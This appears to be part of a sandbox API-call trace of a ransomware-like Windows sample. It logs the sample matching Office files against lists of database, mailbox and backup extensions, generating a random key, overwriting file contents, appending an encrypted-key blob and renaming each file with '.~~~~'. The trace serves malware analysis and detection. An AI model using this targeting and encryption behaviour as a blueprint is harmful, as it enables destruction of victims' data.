	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".vhdx") returned 0x0
	[0136.614] lstrlenW (lpString=".NDF") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".NDF") returned 0x0
	[0136.614] lstrlenW (lpString=".dat") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dat") returned 0x0
	[0136.614] lstrlenW (lpString=".DBS") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DBS") returned 0x0
	[0136.614] lstrlenW (lpString=".CKP") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".CKP") returned 0x0
	[0136.614] lstrlenW (lpString=".edb") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".edb") returned 0x0
	[0136.614] lstrlenW (lpString=".PST") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".PST") returned 0x0
	[0136.614] lstrlenW (lpString=".dbf") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dbf") returned 0x0
	[0136.614] lstrlenW (lpString=".SQL") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".SQL") returned 0x0
	[0136.614] lstrlenW (lpString=".pst") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".pst") returned 0x0
	[0136.615] lstrlenW (lpString=".dbv") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dbv") returned 0x0
	[0136.615] lstrlenW (lpString=".SDF") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".SDF") returned 0x0
	[0136.615] lstrlenW (lpString=".dtxs") returned 5
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dtxs") returned 0x0
	[0136.615] lstrlenW (lpString=".db3") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".db3") returned 0x0
	[0136.615] lstrlenW (lpString=".OST") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".OST") returned 0x0
	[0136.615] lstrlenW (lpString=".dbx") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dbx") returned 0x0
	[0136.615] lstrlenW (lpString=".DB3") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DB3") returned 0x0
	[0136.615] lstrlenW (lpString=".DAT") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DAT") returned 0x0
	[0136.615] lstrlenW (lpString=".VHDX") returned 5
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".VHDX") returned 0x0
	[0136.615] lstrlenW (lpString=".ndf") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".ndf") returned 0x0
	[0136.615] lstrlenW (lpString=".DB") returned 3
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DB") returned 0x0
	[0136.615] lstrlenW (lpString=".sql") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".sql") returned 0x0
	[0136.615] lstrlenW (lpString=".MYD") returned 4
	[0136.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".MYD") returned 0x0
	[0136.615] lstrlenW (lpString=".DBT") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DBT") returned 0x0
	[0136.616] lstrlenW (lpString=".ACCDB") returned 6
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".ACCDB") returned 0x0
	[0136.616] lstrlenW (lpString=".fdb") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".fdb") returned 0x0
	[0136.616] lstrlenW (lpString=".bak") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".bak") returned 0x0
	[0136.616] lstrlenW (lpString=".myd") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".myd") returned 0x0
	[0136.616] lstrlenW (lpString=".DTXS") returned 5
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DTXS") returned 0x0
	[0136.616] lstrlenW (lpString=".ckp") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".ckp") returned 0x0
	[0136.616] lstrlenW (lpString=".dbt") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dbt") returned 0x0
	[0136.616] lstrlenW (lpString=".db") returned 3
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".db") returned 0x0
	[0136.616] lstrlenW (lpString=".TXT") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".TXT") returned 0x0
	[0136.616] lstrlenW (lpString=".MDF") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".MDF") returned 0x0
	[0136.616] lstrlenW (lpString=".bdb") returned 4
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".bdb") returned 0x0
	[0136.616] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0136.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.617] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3949f8) returned 1
	[0136.713] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.713] CryptReleaseContext (hProv=0x3949f8, dwFlags=0x0) returned 1
	[0136.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0136.713] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25670314948) returned 1
	[0136.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbaeef2f0, dwHighDateTime=0x1d60e1e)) 
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4eb0
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4eb0 | out: hHeap=0x300000) returned 1
	[0136.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0136.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.714] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0136.714] GetLastError () returned 0x0
	[0136.714] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0136.714] GetLastError () returned 0x0
	[0136.718] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.718] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.719] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.719] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.719] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.719] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.719] CloseHandle (hObject=0xc4) returned 1
	[0136.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0136.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.~~~~")) returned 1
	[0136.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0136.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.769] GetLastError () returned 0x0
	[0136.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".scr") returned 0x0
	[0136.769] lstrlenW (lpString=".cmd") returned 4
	[0136.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".cmd") returned 0x0
	[0136.769] lstrlenW (lpString=".dll") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dll") returned 0x0
	[0136.770] lstrlenW (lpString=".bat") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".bat") returned 0x0
	[0136.770] lstrlenW (lpString=".cpl") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".cpl") returned 0x0
	[0136.770] lstrlenW (lpString=".sys") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".sys") returned 0x0
	[0136.770] lstrlenW (lpString=".msc") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".msc") returned 0x0
	[0136.770] lstrlenW (lpString=".com") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".com") returned 0x0
	[0136.770] lstrlenW (lpString=".lnk") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".lnk") returned 0x0
	[0136.770] lstrlenW (lpString=".msp") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".msp") returned 0x0
	[0136.770] lstrlenW (lpString=".pif") returned 4
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".pif") returned 0x0
	[0136.770] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0136.772] lstrlenW (lpString=".sqb") returned 4
	[0136.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".sqb") returned 0x0
	[0136.773] lstrlenW (lpString=".ost") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".ost") returned 0x0
	[0136.773] lstrlenW (lpString=".txt") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".txt") returned 0x0
	[0136.773] lstrlenW (lpString=".mdt") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".mdt") returned 0x0
	[0136.773] lstrlenW (lpString=".BDB") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".BDB") returned 0x0
	[0136.773] lstrlenW (lpString=".eql") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".eql") returned 0x0
	[0136.773] lstrlenW (lpString=".DBF") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DBF") returned 0x0
	[0136.773] lstrlenW (lpString=".EQL") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".EQL") returned 0x0
	[0136.773] lstrlenW (lpString=".FDB") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".FDB") returned 0x0
	[0136.773] lstrlenW (lpString=".EDB") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".EDB") returned 0x0
	[0136.773] lstrlenW (lpString=".DACPAC") returned 7
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DACPAC") returned 0x0
	[0136.773] lstrlenW (lpString=".VHD") returned 4
	[0136.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".VHD") returned 0x0
	[0136.773] lstrlenW (lpString=".DBV") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DBV") returned 0x0
	[0136.774] lstrlenW (lpString=".dacpac") returned 7
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dacpac") returned 0x0
	[0136.774] lstrlenW (lpString=".sdf") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".sdf") returned 0x0
	[0136.774] lstrlenW (lpString=".accdb") returned 6
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".accdb") returned 0x0
	[0136.774] lstrlenW (lpString=".DBX") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DBX") returned 0x0
	[0136.774] lstrlenW (lpString=".MDT") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".MDT") returned 0x0
	[0136.774] lstrlenW (lpString=".SQB") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".SQB") returned 0x0
	[0136.774] lstrlenW (lpString=".vhd") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".vhd") returned 0x0
	[0136.774] lstrlenW (lpString=".bac") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".bac") returned 0x0
	[0136.774] lstrlenW (lpString=".mdf") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".mdf") returned 0x0
	[0136.774] lstrlenW (lpString=".BAK") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".BAK") returned 0x0
	[0136.774] lstrlenW (lpString=".BAC") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".BAC") returned 0x0
	[0136.774] lstrlenW (lpString=".dbs") returned 4
	[0136.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dbs") returned 0x0
	[0136.774] lstrlenW (lpString=".vhdx") returned 5
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".vhdx") returned 0x0
	[0136.775] lstrlenW (lpString=".NDF") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".NDF") returned 0x0
	[0136.775] lstrlenW (lpString=".dat") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dat") returned 0x0
	[0136.775] lstrlenW (lpString=".DBS") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DBS") returned 0x0
	[0136.775] lstrlenW (lpString=".CKP") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".CKP") returned 0x0
	[0136.775] lstrlenW (lpString=".edb") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".edb") returned 0x0
	[0136.775] lstrlenW (lpString=".PST") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".PST") returned 0x0
	[0136.775] lstrlenW (lpString=".dbf") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dbf") returned 0x0
	[0136.775] lstrlenW (lpString=".SQL") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".SQL") returned 0x0
	[0136.775] lstrlenW (lpString=".pst") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".pst") returned 0x0
	[0136.775] lstrlenW (lpString=".dbv") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dbv") returned 0x0
	[0136.775] lstrlenW (lpString=".SDF") returned 4
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".SDF") returned 0x0
	[0136.775] lstrlenW (lpString=".dtxs") returned 5
	[0136.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dtxs") returned 0x0
	[0136.775] lstrlenW (lpString=".db3") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".db3") returned 0x0
	[0136.776] lstrlenW (lpString=".OST") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".OST") returned 0x0
	[0136.776] lstrlenW (lpString=".dbx") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dbx") returned 0x0
	[0136.776] lstrlenW (lpString=".DB3") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DB3") returned 0x0
	[0136.776] lstrlenW (lpString=".DAT") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DAT") returned 0x0
	[0136.776] lstrlenW (lpString=".VHDX") returned 5
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".VHDX") returned 0x0
	[0136.776] lstrlenW (lpString=".ndf") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".ndf") returned 0x0
	[0136.776] lstrlenW (lpString=".DB") returned 3
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DB") returned 0x0
	[0136.776] lstrlenW (lpString=".sql") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".sql") returned 0x0
	[0136.776] lstrlenW (lpString=".MYD") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".MYD") returned 0x0
	[0136.776] lstrlenW (lpString=".DBT") returned 4
	[0136.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DBT") returned 0x0
	[0136.777] lstrlenW (lpString=".ACCDB") returned 6
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".ACCDB") returned 0x0
	[0136.777] lstrlenW (lpString=".fdb") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".fdb") returned 0x0
	[0136.777] lstrlenW (lpString=".bak") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".bak") returned 0x0
	[0136.777] lstrlenW (lpString=".myd") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".myd") returned 0x0
	[0136.777] lstrlenW (lpString=".DTXS") returned 5
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".DTXS") returned 0x0
	[0136.777] lstrlenW (lpString=".ckp") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".ckp") returned 0x0
	[0136.777] lstrlenW (lpString=".dbt") returned 4
	[0136.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL", lpSrch=".dbt") returned 0x0
	[0136.777] lstrlenW (lpString=".db") returned 3
